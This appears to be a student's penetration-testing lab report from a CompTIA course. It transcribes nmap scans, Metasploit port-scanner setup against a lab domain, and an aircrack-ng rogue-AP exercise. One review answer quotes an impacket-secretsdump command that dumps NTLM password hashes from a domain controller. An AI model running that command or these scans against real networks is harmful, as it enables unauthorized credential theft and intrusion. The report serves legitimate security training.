

Lab 4 – Scanning and Identifying Vulnerabilities

Objectives

Part 1: Metasploit on Kali Linux

Part 2: Lesson 4 Review Questions

Part 3: Using aircrack-ng to Discover Hidden Networks

Background / Scenario

To gain access to a target device during the pentest, vulnerabilities will need to be identified. The pentester will then exploit these vulnerabilities to gain access to the network resource. Using the information that was gathered during the reconnaissance and enumeration phases, the pentester will begin to scan for and identify potential vulnerabilities.

A penetration tester can use a plethora of tools and utilities to evaluate the security stance of a client's systems. One of those tools is Metasploit. You will first discover targets, then exploit a target using a remote attack, parlay that attack into a remote-control command prompt, then deposit Metasploit's meterpreter on the target to gain even more control and access.

Your Mission: you will be introduced to Metasploit and learn how to use many of its common features. Along the way, you will use Metasploit with other common penetration testing tools, including nmap and Impacket.

Required Resources

Any Device with Internet access with Web Browser

Part 1: Conduct enumerations using VMs

In Part 1, you will use a web browser to login to CompTIA Certmaster Perform + labs area

Step 1: Follow the instructions on accessing the link

In the URL follow the directions on redeem the student access key to login if not already done so otherwise login.

Note: You will need to provide login information and password

Step 2: Once logged in, click on the outline and locate module 4.1.9

- a. You will see the lab listed below. Click on start lab. You will wait about 2 min to load up VMS on the cloud.

4.1.9

Live Lab: Using Metasploit

In this lab, you will be introduced to Metasploit and learn how to use many of its common features. Along the way, you will use Metasploit with other common penetration testing tools such as - nmap - Impacket.

Leaving a lab inactive for over 10 minutes could cause the lab to close without warning.

Start Lab Last Score Report

Part 2: Reflection for Lab 4

In Part 2, answer these questions based on this week's lessons.

a. What does this command `nmap 10.1.16.0/24 -F -A -oX targets.xml` mean?

This command quickly scans the 10.1.16.0/24 network while detecting the OS, services, and scripts. The results will be saved in the "targets" xml file.
nmap scans all IP addresses in the specified subnet
-F only scans the 100 most common ports
-A enables many features like OS and version detection
-oX saves the scan in the xml file

b. What were the tools used in this week's hands-on lab?

We used many tools this week, including: Kali Linux, Nmap, Metasploit, Impacket, Terminal/Console, Aironet/Airodump

c. What does this command `systemctl start postgresql` do?

This is a Linux system command. It controls the system services and starts the PostgreSQL database service. This is done so tools like MetaSploit can have a database backend.

d. Which of the following ports were determined to be open by the combined port scans against the systems in the server subnet? (Select all that apply)

135
3389
445
53
110
88
21

e. What does `impacket-secretsdump -just-dc-ntlm structureality/dc10l$@10.1.16.1` do?

This is a credential dumping command that dumps password hashes from the domain controller via DC machine account. It extracts NTLM credential hashes.

Part 3: Use aircrack-ng to Discover Hidden Networks (4.1.12)

You are the security analyst for a small corporate network. You suspect that one of the computers in your company is connecting to a rogue access point (AP). You need to find the name of the hidden rogue AP so it can be deauthorized. The computer suspected of using the rogue access point is Gst-Lap.

In this lab, your task is to complete the following:

- On IT-Laptop, use **airmon-ng** to put the wireless adapter in monitor mode.
- Use **airodump-ng** to find the hidden access point.
- Answer the question.
- From the Gst-Lap computer, connect to the rogue AP using the SSID of BookStore.

1 Lab 4 – Using Metasploit on Kali

CompTIA

Floor 1 Overview

Questions

4.1.12 Use aircrack-ng to Discover Hidden Networks

You are the security analyst for a small corporate network. You suspect that one of the computers in your company is connecting to a rogue access point (AP). You need to find the name of the hidden rogue AP so it can be deauthorized. The computer suspected of using the rogue access point is Gst-Lap.

In this lab, your task is to complete the following:

- On IT-Laptop, use **airmon-ng** to put the wireless adapter in monitor mode.
- Use **airodump-ng** to find the hidden access point.
- Answer the question.
- From the Gst-Lap computer, connect to the rogue AP using the SSID of BookStore.

Lab Questions

1. What is the BSSID of the rogue access point?

Use the drop-down arrow

00:00:1b:45:21:11
00:00:1b:32:15:10
00:00:55:55:44:66
00:00:1b:45:21:aa

Screen Shot(s) for evidence of hands-on lab activities.

1 Lab 4 – Using Metasploit on Kali

The image displays two sequential screenshots of a Kali Linux desktop environment, showing the installation of PostgreSQL and the Metasploit Framework (MSF).

Top Screenshot:

- The terminal window shows the user switching to root and starting PostgreSQL:

```
root@kali: /home/kali
File Actions Edit View Help
(kali@kali)~]
$ sudo su
[sudo] password for kali:
(root@kali)~]
$ systemctl start postgresql
```
- The CompTIA instructions panel on the right shows step 4: "Start the postgresql database service by entering: **systemctl start postgresql**".

Bottom Screenshot:

- The terminal window shows the user running `msfdb init` and receiving a confirmation message:

```
(root@kali)~]
$ msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization
(root@kali)~]
```
- The CompTIA instructions panel on the right shows step 5: "Confirm that the Metasploit Framework (MSF) is configured to use the database service by entering: **msfdb init**".

1 Lab 4 – Using Metasploit on Kali

The image displays two screenshots of a Kali Linux terminal window and a CompTIA lab interface. The terminal window shows the user at the root prompt in the /home/kali directory. The user runs the command `systemctl start postgresql`, which outputs `Database already started` and `The database appears to be already configured, skipping initialization`. Then, the user runs `msfdb init`, which outputs the same messages. Finally, the user runs `msfconsole`, which outputs a Metasploit tip: `Enable verbose logging with set VERBOSE true`. The terminal then displays a large ASCII art banner for Metasploit.

The CompTIA lab interface shows the instructions for steps 7 and 8. Step 7 instructs the user to confirm the database service is started and connected by entering `db_status`. Step 8 instructs the user to perform host discovery by entering `nmap 10.1.16.0/24 -F -A -oX targets.xml`. The interface also includes a progress bar showing 56 minutes remaining.

The second screenshot shows the same terminal window and lab interface, but the progress bar now shows 55 minutes remaining. The terminal window shows the same commands and output as the first screenshot.

1

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

%
[#####_#####] "a, [#####_#####_#%
[% .---.---.| _ .---.|. ,a\$%.---|. |.---.|_| |_%
[% | | _|| _|| | ,,a\$*** | | | | | | _|%
[% | |_|_|_|_|_|_|_|_|_|_|\$P** | | |_|_|_|_|_|_|_|_|_|_|%
[% #####_#####] "a, ||_#####
[% #####_#####] ____"a,\$\$|#####
[% #####_##### "s #####
[% #####_#####
F [% #####_#####
%]

 = [metasploit v6.3.51-dev]
+ -- [2384 exploits - 1235 auxiliary - 418 post]
+ -- [1388 payloads - 46 encoders - 11 nops]
+ -- [9 evasion]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 >

CompTIA

Exit Lab

Instructions Resources ? ⚙

☐ 7. At the "msf6 >" prompt, confirm the database service is started and connected by entering:
db_status

This should present the message of "Connected to msf. Connection type: postgresql".

☐ 8. From the "msf6 >" prompt, use nmap to perform host discovery by entering:
nmap 10.1.16.0/24 -F -A -oX targets.xml

This scan should take only a few minutes to complete. You can press the **spacebar** on your keyboard to view a progress report. As information is gathered, it will be displayed on the screen and captured in the output file.

Take notice that you are able to perform a nmap scan from within the MSF console. You can, in fact, use most other tools and standard Linux commands while working from the MSF prompt. The benefit is that you can import information from other tools into MSF and then use that

Previous

Next

55 Minutes Remaining

The screenshot shows a Kali Linux terminal window with the Metasploit Meterpreter console. The prompt is `msf6`. The user has entered `db_status`, which returns the following output:

```
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > nmap 10.1.16.0/24 -F -A -oX targets.xml
[*] exec: nmap 10.1.16.0/24 -F -A -oX targets.xml
```

The terminal also shows the Metasploit Documentation URL: <https://docs.metasploit.com/>.

1 Lab 4 – Using Metasploit on Kali

The screenshot displays a Kali Linux terminal window and a web browser window. The terminal window shows a Metasploit session where the user has executed the following commands:

```
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > nmap 10.1.16.0/24 -F -A -oX targets.xml
[*] exec: nmap 10.1.16.0/24 -F -A -oX targets.xml
```

The terminal output shows the results of the Nmap scan for 10.1.16.0/24. The scan is complete, and the results are displayed in a table format. The table shows the following information:

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2026-02-11 23:33:17Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: ad.structureality.com, Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds	
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services
5357/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

The terminal also shows the results of the host script and the traceroute. The host script results show that the host is up and running Microsoft Windows 2019 (97%). The traceroute shows that the host is reachable via 10.1.16.1.

The web browser window shows the CompTIA lab instructions. The instructions are as follows:

9. Import the targets output file from nmap into the MSF database by entering:
`db_import targets.xml`
You should see numerous status lines starting with "[*] Importing...". With a final statement of "[*] Successfully imported /home/kali/targets.xml".
10. Now that the nmap scan output file has been imported into Metasploit's database, view the hosts table by entering:
`hosts`
You should see a display of the discovered hosts' IP address, MAC address, name, OS name, OS flavor, OS sp (i.e., service pack), purpose, info, and comments. However, not all of these columns will be populated with information.
11. You notice that the IPv4 address of the Kali system is in the list of hosts. Remove Kali from the hosts table by entering:
`hosts -d 10.1.16.66`
This should display a message of "Deleted 1".

The browser window also shows a progress bar indicating that 52 minutes remaining.

1 Lab 4 – Using Metasploit on Kali

The screenshot displays a Kali Linux terminal window and a web browser window. The terminal window shows the output of the `rpcinfo` command, listing various services and their ports. The web browser window shows the CompTIA lab interface, which includes instructions for importing targets and viewing the hosts table.

Terminal Output:

```
root@kali: /home/kali
File Actions Edit View Help
|_http-title: Structureality | User Portal | Powered by 515support
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo:
|_program version port/proto service
|_100000 2,3,4 111/tcp rpcbind
|_100000 2,3,4 111/tcp6 rpcbind
|_100000 2,3,4 111/udp rpcbind
|_100000 2,3,4 111/udp6 rpcbind
|_100003 2,3 2049/udp nfs
|_100003 2,3 2049/udp6 nfs
|_100003 2,3,4 2049/tcp nfs
|_100003 2,3,4 2049/tcp6 nfs
|_100005 1,2,3 2049/tcp mountd
|_100005 1,2,3 2049/tcp6 mountd
|_100005 1,2,3 2049/udp mountd
|_100005 1,2,3 2049/udp6 mountd
|_100021 1,2,3,4 2049/tcp nlockmgr
|_100021 1,2,3,4 2049/tcp6 nlockmgr
|_100021 1,2,3,4 2049/udp nlockmgr
|_100021 1,2,3,4 2049/udp6 nlockmgr
|_100024 1 2049/tcp status
|_100024 1 2049/tcp6 status
|_100024 1 2049/udp status
|_100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap IMailServer imapd
|_imap-capabilities: IDLE IMAP4rev1 QUOTA RIGHTS=texkA0001 IMAP4 completed NAMESPACE CHILDREN CAPA
BILITY OK ACL SORT
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2026-02-11T23:34:43+00:00; 0s from scanner time.
|_ssl-cert: Subject: commonName=tickets.structureality.com/organizationName=Structureality LLC./st
ateOrProvinceName=Illinois/countryName=US
|_Subject Alternative Name: DNS:tickets.structureality.com
|_Not valid before: 2023-06-05T17:34:43
|_Not valid after: 2032-06-02T17:34:43
|_http-title: Not Found
```

Web Browser Output:

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

CompTIA

Instructions Resources

9. Import the targets output file from nmap into the MSF database by entering:
db_import targets.xml

You should see numerous status lines starting with "[*] Importing...". With a final statement of "[*] Successfully imported /home/kali/targets.xml".

10. Now that the nmap scan output file has been imported into Metasploit's database, view the hosts table by entering:
hosts

You should see a display of the discovered hosts' IP address, MAC address, name, OS name, OS flavor, OS sp (i.e., service pack), purpose, info, and comments. However, not all of these columns will be populated with information.

11. You notice that the IPv4 address of the Kali system is in the list of hosts. Remove Kali from the hosts table by entering:
hosts -d 10.1.16.66

This should display a message of "Deleted 1"

Previous Next

51 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The screenshot displays a Kali Linux terminal window and a web browser side-by-side. The terminal window shows the output of an nmap scan for 10.1.16.254, identifying it as a Windows Server 2016 Standard. The web browser shows the instructions for the next step in the lab, which involves importing the targets output file from nmap into the MSF database.

Terminal Output:

```
root@kali: /home/kali

File Actions Edit View Help

Network Distance: 1 hop
Service Info: Hosts: mail.structureality.com, MS10; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|_ OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|_ Computer name: MS10
|_ NetBIOS computer name: MS10\*
|_ Domain name: ad.structureality.com
|_ Forest name: ad.structureality.com
|_ FQDN: MS10.ad.structureality.com
|_ System time: 2026-02-11T17:34:03-06:00
|_ smb2-time:
|_ date: 2026-02-11T23:34:02
|_ start_date: 2026-02-11T23:28:02
|_ clock-skew: mean: 1h30m00s, deviation: 3h00m01s, median: 0s
|_ smb2-security-mode:
|_ 3.1.1:
|_ Message signing enabled but not required
|_ nbstat: NetBIOS name: MS10, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:01:66:02 (Microsoft)
|_ smb-security-mode:
|_ account_used: <blank>
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

TRACEROUTE
HOP RTT ADDRESS
1 0.64 ms MS10.ad.structureality.com (10.1.16.2)

Nmap scan report for 10.1.16.254
Host is up (0.00050s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|_ 2048 0c:f3:43:87:c1:fe:19:69:89:86:c1:78:7a:60:6e:fb (RSA)
|_ 256 fe:98:31:1c:c5:78:ca:10:49:9c:6b:b0:4b:10:f1:c5 (ECDSA)

TRACEROUTE
HOP RTT ADDRESS
1 0.64 ms MS10.ad.structureality.com (10.1.16.2)

Nmap scan report for 10.1.16.254
Host is up (0.00050s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_ ssh-hostkey:
|_ 2048 0c:f3:43:87:c1:fe:19:69:89:86:c1:78:7a:60:6e:fb (RSA)
|_ 256 fe:98:31:1c:c5:78:ca:10:49:9c:6b:b0:4b:10:f1:c5 (ECDSA)
|_ 256 80:f0:c0:ee:69:1f:9d:66:e8:0c:8a:fe:be:ce:90:96 (ED25519)
MAC Address: 00:15:5D:01:87:01 (Microsoft)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 10.1.16.254

Nmap scan report for kali.ad.structureality.com (10.1.16.66)
Host is up (0.00047s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Debian 2 (protocol 2.0)
|_ ssh-hostkey:
|_ 256 8d:e8:f8:63:6b:ab:ce:5b:f5:86:5a:67:98:61:db:7a (ECDSA)
|_ 256 30:db:9e:f7:0f:bb:67:bd:d8:48:2b:7f:3c:fc:2c:17 (ED25519)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.7
Network Distance: 0 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Web Browser Instructions:

9. Import the targets output file from nmap into the MSF database by entering:
`db_import targets.xml`

You should see numerous status lines starting with "[*] Importing...". With a final statement of "[*] Successfully imported /home/kali/targets.xml".

10. Now that the nmap scan output file has been imported into Metasploit's database, view the hosts table by entering:
`hosts`

You should see a display of the discovered hosts' IP address, MAC address, name, OS name, OS flavor, OS sp (i.e., service pack), purpose, info, and comments. However, not all of these columns will be populated with information.

11. You notice that the IPv4 address of the Kali system is in the list of hosts. Remove Kali from the hosts table by entering:
`hosts -d 10.1.16.66`

This should display a message of "Deleted 1".

Previous Next

50 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The screenshot shows a Kali Linux terminal window and a web browser window. The terminal window displays the output of an Nmap scan and the results of a post-scan script. The web browser window shows the CompTIA lab instructions page, which includes a list of tasks and a progress bar.

Terminal Output:

```
root@kali: /home/kali

File Actions Edit View Help

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 10.1.16.254

Nmap scan report for kali.ad.structureality.com (10.1.16.66)
Host is up (0.000047s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 8d:e8:f8:63:6b:ab:ce:5b:f5:86:5a:67:98:61:db:7a (ECDSA)
|_ 256 30:db:9e:f7:0f:bb:67:bd:d8:48:2b:7f:3c:fc:2c:17 (ED25519)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.7
Network Distance: 0 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Post-scan script results:
| clock-skew:
| 1h30m00s:
| 10.1.16.2 (MS10.ad.structureality.com)
|_ 10.1.16.1 (DC10.ad.structureality.com)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit
/.
Nmap done: 256 IP addresses (4 hosts up) scanned in 99.89 seconds
msf6 >

Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.7
Network Distance: 0 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Post-scan script results:
| clock-skew:
| 1h30m00s:
| 10.1.16.2 (MS10.ad.structureality.com)
|_ 10.1.16.1 (DC10.ad.structureality.com)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit
/.
Nmap done: 256 IP addresses (4 hosts up) scanned in 99.89 seconds
msf6 > db_import targets.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.13.10'
[*] Importing host 10.1.16.1
[*] Importing host 10.1.16.2
[*] Importing host 10.1.16.254
[*] Importing host 10.1.16.66
[*] Successfully imported /home/kali/targets.xml
msf6 > hosts

Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
10.1.16.1 00:15:5d:01:66:01 DC10.ad.structureality.com Windows 2019 server
10.1.16.2 00:15:5d:01:66:02 MS10.ad.structureality.com Windows 2016 server
10.1.16.66 00:15:5d:01:87:01 kali.ad.structureality.com Linux 5.X server
10.1.16.254 00:15:5d:01:87:01 kali.ad.structureality.com Linux 4.X server
msf6 >
```

Web Browser Output:

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

CompTIA

Instructions Resources

9. Import the targets output file from nmap into the MSF database by entering:
db_import targets.xml

You should see numerous status lines starting with "[*] Importing...". With a final statement of "[*] Successfully imported /home/kali/targets.xml".

10. Now that the nmap scan output file has been imported into Metasploit's database, view the hosts table by entering:
hosts

You should see a display of the discovered hosts' IP address, MAC address, name, OS name, OS flavor, OS sp (i.e., service pack), purpose, info, and comments. However, not all of these columns will be populated with information.

11. You notice that the IPv4 address of the Kali system is in the list of hosts. Remove Kali from the hosts table by entering:
hosts -d 10.1.16.66

This should display a message of "Deleted 1"

Previous Next

48 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

The screenshot shows a Kali Linux terminal window and a web browser window. The terminal window displays the output of the `hosts` command in Metasploit, showing a list of hosts. The web browser window shows a 'CompTIA' lab page with instructions for the lab activity.

Terminal Output:

```
root@kali: /home/kali
msf6 > hosts
Hosts
=====
address      mac          name          os_name      os_flavor    os_sp        purpose      info      comments
-----
10.1.16.1    00:15:5d:01:66:01 DC10.ad.structureality.com Windows 2019  server
10.1.16.2    00:15:5d:01:66:02 MS10.ad.structureality.com Windows 2016  server
10.1.16.66   00:15:5d:01:66:01 kali.ad.structureality.com Linux         5.X          server
10.1.16.254  00:15:5d:01:87:01          Linux         4.X          server

msf6 > hosts -d 10.1.16.66
Hosts
=====
address      mac          name          os_name      os_flavor    os_sp        purpose      info      comments
-----
10.1.16.66   kali.ad.structureality.com Linux         5.X          server

[*] Deleted 1 hosts
msf6 > hosts
Hosts
=====
address      mac          name          os_name      os_flavor    os_sp        purpose      info      comments
-----
10.1.16.1    00:15:5d:01:66:01 DC10.ad.structureality.com Windows 2019  server
10.1.16.2    00:15:5d:01:66:02 MS10.ad.structureality.com Windows 2016  server
10.1.16.254  00:15:5d:01:87:01          Linux         4.X          server

msf6 >
```

Web Browser Output:

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

CompTIA

Instructions Resources

11. You notice that the IPv4 address of the Kali system is in the list of hosts. Remove Kali from the hosts table by entering:

```
hosts -d 10.1.16.66
```

This should display a message of "Deleted 1 hosts".

There is no useful purpose in keeping your penetration testing workstation in a target list. Any information obtained about that system would not be relevant to the client.

12. Confirm that the Kali system's address was removed by viewing the hosts table by entering:

```
hosts
```

The table should no longer include the 10.1.16.66 IPv4 address.

13. To view the discovered services on those hosts enter:

```
services
```

A list of discovered services is displayed. The services are sorted by host IP address and in port number numerical order. Other displayed columns are protocol (proto), name, state, and info.

While you have already performed a port scan using nmap, it is also possible to perform port scanning directly within Metasploit. The following steps will have you locate an element within Metasploit's arsenal, then activate, configure, and run it against the targets.

14. Search Metasploit for a port scanner tool by entering:

```
search portscan
```

This should produce a list of several MSF elements with "portscan" in their name.

15. Locate the "portscan" element with a full name of `auxiliary/scanner/portscan/syn`. Determine the `send` parameter for this.

47 Minutes Remaining

1 Lab 4 – Using Metasploit on Kali

Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

10.1.16.1	3389	tcp	ms-wbt-server	open	Microsoft Terminal Services
10.1.16.1	5357	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2	25	tcp	smtp	open	hMailServer smtpd
10.1.16.2	80	tcp	http	open	Microsoft IIS httpd 10.0
10.1.16.2	111	tcp	rpcbind	open	2-4 RPC #100000
10.1.16.2	135	tcp	msrpc	open	Microsoft Windows RPC
10.1.16.2	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.1.16.2	143	tcp	imap	open	hMailServer imapd
10.1.16.2	443	tcp	ssl/http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.2	445	tcp	microsoft-ds	open	Windows Server 2016 Standard 14393 microsoft-ds workgroup: structure
10.1.16.2	587	tcp	smtp	open	hMailServer smtpd
10.1.16.2	2049	tcp	nlockmgr	open	1-4 RPC #100021
10.1.16.2	3306	tcp	mysql	open	MySQL 5.5.5-10.11.3-MariaDB
10.1.16.2	5357	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSDP/UPnP
10.1.16.254	22	tcp	ssh	open	OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0

msf6 > search portscan

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/scanner/portscan/ftpbounce		normal	No	FTP Bounce Port Scanner
1	auxiliary/scanner/natpmp/natpmp_portscan		normal	No	NAT-PMP External Port Scanner
2	auxiliary/scanner/sap/sap_router_portscanner		normal	No	SAPRouter Port Scanner
3	auxiliary/scanner/portscan/xmas		normal	No	TCP "XMas" Port Scanner
4	auxiliary/scanner/portscan/ack		normal	No	TCP ACK Firewall Scanner
5	auxiliary/scanner/portscan/tcp		normal	No	TCP Port Scanner
6	auxiliary/scanner/portscan/syn		normal	No	TCP SYN Port Scanner
7	auxiliary/scanner/http/wordpress_pingback_access		normal	No	Wordpress Pingback Locator

Interact with a module by name or index. For example `info 7`, use `7` or use `auxiliary/scanner/http/wordpress_pingback_access`

msf6 >

Instructions Resources

13. To view the discovered services on those hosts enter:
services

A list of discovered services is displayed. The services are sorted by host IP address and in port number numerical order. Other displayed columns are protocol (proto), name, state, and info.

While you have already performed a port scan using nmap, it is also possible to perform port scanning directly within Metasploit. The following steps will have you locate an element within Metasploit's arsenal, then activate, configure, and run it against the targets.

14. Search Metasploit for a port scanner tool by entering:
search portscan

This should produce a list of several MSF elements with "portscan" in their name.

15. Locate the "portscan" element with a full name of **auxiliary/scanner/portscan/syn**. Determine the result line number for this.

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Hands-on lab activity 04

Learning Platform | CompTIA

Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

Interact with a module by name or index. For example `info 7`, use `7` or use `auxiliary/scanner/http/wordpress_pingback_access`

msf6 > info 6

Name: TCP SYN Port Scanner
Module: auxiliary/scanner/portscan/syn
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
kris katterjohn <katterjohn@gmail.com>

Check supported:
No

Basic options:

Name	Current Setting	Required	Description
BATCHSIZE	256	yes	The number of hosts to scan per set
DELAY	0	yes	The delay between connections, per thread, in milliseconds
INTERFACE		no	The name of the interface
JITTER	0	yes	The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS	1-10000	yes	Ports to scan (e.g. 22-25,80,110-900)
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SNAPLEN	65535	yes	The number of bytes to capture
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	500	yes	The reply read timeout in milliseconds

Description:
Enumerate open TCP services using a raw SYN scan.

View the full module info with the `info -d` command.

msf6 >

Instructions Resources

This should produce a list of several MSF elements with "portscan" in their name.

15. Locate the "portscan" element with a full name of **auxiliary/scanner/portscan/syn**. Determine the result line number for this element (i.e., in the column of #) and enter only the number in the text box below:

6

After you type in the value, press **Enter** on your keyboard or click out of the text box.

16. View the information about this MSF element by entering:
info 6

Read over the displayed information for this MSF element.

17. Select to use or activate this MSF element by entering:
use 6

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1 Lab 4 – Using Metasploit on Kali

Hands-on lab activity 04

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Live Lab: Investigating with Metasploit

https://labclient.labondemand.com/LabClient/e0f88653-4c10-4f6c-a665-71e33375777f

KALI

root@kali: /home/kali

File Actions Edit View Help

JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in millisecond s.

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads (max one per host)

TIMEOUT 500 yes The reply read timeout in milliseconds

Description:
Enumerate open TCP services using a raw SYN scan.

View the full module info with the `info -d` command.

`msf6 > use 6`
`msf6 auxiliary(scanner/portscan/syn) > show options`

Module options (auxiliary/scanner/portscan/syn):

Name	Current Setting	Required	Description
BATCHSIZE	256	yes	The number of hosts to scan per set
DELAY	0	yes	The delay between connections, per thread, in milliseconds
INTERFACE		no	The name of the interface
JITTER	0	yes	The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS	1-10000	yes	Ports to scan (e.g. 22-25,80,110-900)
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SNAPLEN	65535	yes	The number of bytes to capture
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	500	yes	The reply read timeout in milliseconds

View the full module info with the `info`, or `info -d` command.

`msf6 auxiliary(scanner/portscan/syn) >`

CompTIA

Instructions Resources

☐ 18. View the configuration options by entering:
`show options`

This command displays some of the same information as the `info` command used previously. Notice the *Required* column. All of the named options with a "yes" in this column are required to have a value for the element to function. Many of these required values are pre-defined, but they can all be changed if necessary or desired. Any option with a *Required* indication of "no" can be defined, but it is not necessary for the typical operation of the element.

☐ 19. Set the ports to scan to the range of 10-1000 by entering:
`set PORTS 10-100`

This command should display a result of `PORTS => 10-100`.

This small range of ports is being used to limit the amount of time that will be involved in performing this scan within the lab.

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Hands-on lab activity 04

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KALI

root@kali: /home/kali

File Actions Edit View Help

Module options (auxiliary/scanner/portscan/syn):

Name	Current Setting	Required	Description
BATCHSIZE	256	yes	The number of hosts to scan per set
DELAY	0	yes	The delay between connections, per thread, in milliseconds
INTERFACE		no	The name of the interface
JITTER	0	yes	The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS	1-10000	yes	Ports to scan (e.g. 22-25,80,110-900)
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SNAPLEN	65535	yes	The number of bytes to capture
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	500	yes	The reply read timeout in milliseconds

View the full module info with the `info`, or `info -d` command.

`msf6 auxiliary(scanner/portscan/syn) > set PORTS 10-100`
`PORTS => 10-100`
`msf6 auxiliary(scanner/portscan/syn) > hosts -R`

Hosts

address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.1.16.1	00:15:5d:01:66:01	DC10.ad.structureality.com	Windows	2019		server		
10.1.16.2	00:15:5d:01:66:02	MS10.ad.structureality.com	Windows	2016		server		
10.1.16.254	00:15:5d:01:87:01		Linux		4.X	server		

RHOSTS => 10.1.16.1 10.1.16.2 10.1.16.254

`msf6 auxiliary(scanner/portscan/syn) >`

CompTIA

Instructions Resources

☐ 20. Set the targets for the port scan to those in the hosts table by entering:
`hosts -R`

This command will display the hosts table and set the systems from the hosts table as the targets for the RHOSTS option.

RHOSTS stands for remote hosts.

☐ 21. Set the number of threads for simultaneous execution to 3 and make this a universal setting for the current session of MSF by entering:
`setg THREADS 3`

The MSF command of "setg" is used to globally set an element option or variable. To reverse a global setting, use "setg" followed by the option more...

☐ 22. View the options to check that your settings

